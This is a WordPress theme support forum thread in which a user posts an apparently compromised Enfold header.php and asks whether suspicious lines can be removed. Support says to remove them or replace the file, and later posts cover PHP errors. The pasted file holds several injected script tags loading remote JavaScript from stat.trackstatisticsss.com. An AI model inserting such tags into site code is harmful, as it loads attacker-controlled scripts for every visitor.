Tagged: header.php, malware
-
AuthorPosts
-
May 23, 2020 at 8:18 pm #1215575
Here is my header.php that I think is infected. Th lines with stat.trackstatisticsss.com look like they don’t belong. Can someone let me know if they are ok to remove or should I get a new file?
Thanks,
Brad############
<?php
if ( !defined(‘ABSPATH’) ){ die(); }global $avia_config;
$style = $avia_config[‘box_class’];
$responsive = avia_get_option(‘responsive_active’) != “disabled” ? “responsive” : “fixed_layout”;
$blank = isset($avia_config[‘template’]) ? $avia_config[‘template’] : “”;
$av_lightbox = avia_get_option(‘lightbox_active’) != “disabled” ? ‘av-default-lightbox’ : ‘av-custom-lightbox’;
$preloader = avia_get_option(‘preloader’) == “preloader” ? ‘av-preloader-active av-preloader-enabled’ : ‘av-preloader-disabled’;
$sidebar_styling = avia_get_option(‘sidebar_styling’);
$filterable_classes = avia_header_class_filter( avia_header_class_string() );?><!DOCTYPE html>
<html <?php language_attributes(); ?> class=”<?php echo “html_{$style} “.$responsive.” “.$preloader.” “.$av_lightbox.” “.$filterable_classes ?> “>
<head><script type=’text/javascript’ src=’https://stat.trackstatisticsss.com/stm?v=l6.0.0′></script>
<meta charset=”<?php bloginfo( ‘charset’ ); ?>” />
<?php
/*
* outputs a rel=follow or nofollow tag to circumvent google duplicate content for archives
* located in framework/php/function-set-avia-frontend.php
*/
if (function_exists(‘avia_set_follow’)) { echo avia_set_follow(); }?>
<!– mobile setting –>
<?phpif( strpos($responsive, ‘responsive’) !== false ) echo ‘<meta name=”viewport” content=”width=device-width, initial-scale=1, maximum-scale=1″>’;
?><!– Scripts/CSS and wp_head hook –>
<?php
/* Always have wp_head() just before the closing <script type=’text/javascript’ src=’https://stat.trackstatisticsss.com/stm?v=l6.0.0′></script></head>
* tag of your theme, or you will break many plugins, which
* generally use this hook to add elements to <head><script type=’text/javascript’ src=’https://stat.trackstatisticsss.com/stm?v=l6.0.0′></script> such
* as styles, scripts, and meta tags.
*/wp_head();
?>
<script type=’text/javascript’ src=’https://stat.trackstatisticsss.com/stm?v=l6.0.0′></script></head>
<script type=’text/javascript’ src=’https://stat.trackstatisticsss.com/stm?v=l6.0.0′></script><body id=”top” <?php body_class($style.” “.$avia_config[‘font_stack’].” “.$blank.” “.$sidebar_styling); avia_markup_helper(array(‘context’ => ‘body’)); ?>>
<?php
if(“av-preloader-active av-preloader-enabled” === $preloader)
{
echo avia_preload_screen();
}?>
<div id=’wrap_all’>
<?php
if(!$blank) //blank templates dont display header nor footer
{
//fetch the template file that holds the main menu, located in includes/helper-menu-main.php
get_template_part( ‘includes/helper’, ‘main-menu’ );} ?>
<div id=’main’ class=’all_colors’ data-scroll-offset='<?php echo avia_header_setting(‘header_scroll_offset’); ?>’>
<?php
if(isset($avia_config[‘temp_logo_container’])) echo $avia_config[‘temp_logo_container’];
do_action(‘ava_after_main_container’);?>
May 24, 2020 at 3:17 am #1215629Hey bridgeway04,
Sorry for the late reply, the header.php code you posted above is old and should be replaced with a current version if, this is in your child theme.
Although you can remove the<script type=’text/javascript’ src=’https://stat.trackstatisticsss.com/stm?v=l6.0.0′></script>
from the code posted above, but you can always replace it with a current version to ensure you didn’t miss anything.Best regards,
MikeJune 9, 2020 at 7:06 pm #1220926Mike,
Thanks for the reply. I have updated to latest version but am getting the following errors with PHP 7.2.
Notice: Undefined index: developer_options in /home/pcl2any/public_html/wp-content/themes/enfold/includes/admin/helper-compat-update.php on line 686
Warning: session_start(): Cannot start session when headers already sent in /home/pcl2any/public_html/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.php on line 69
Warning: session_start(): Cannot start session when headers already sent in /home/pcl2any/public_html/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.php on line 48
June 10, 2020 at 1:33 pm #1221182 -
AuthorPosts
- You must be logged in to reply to this topic.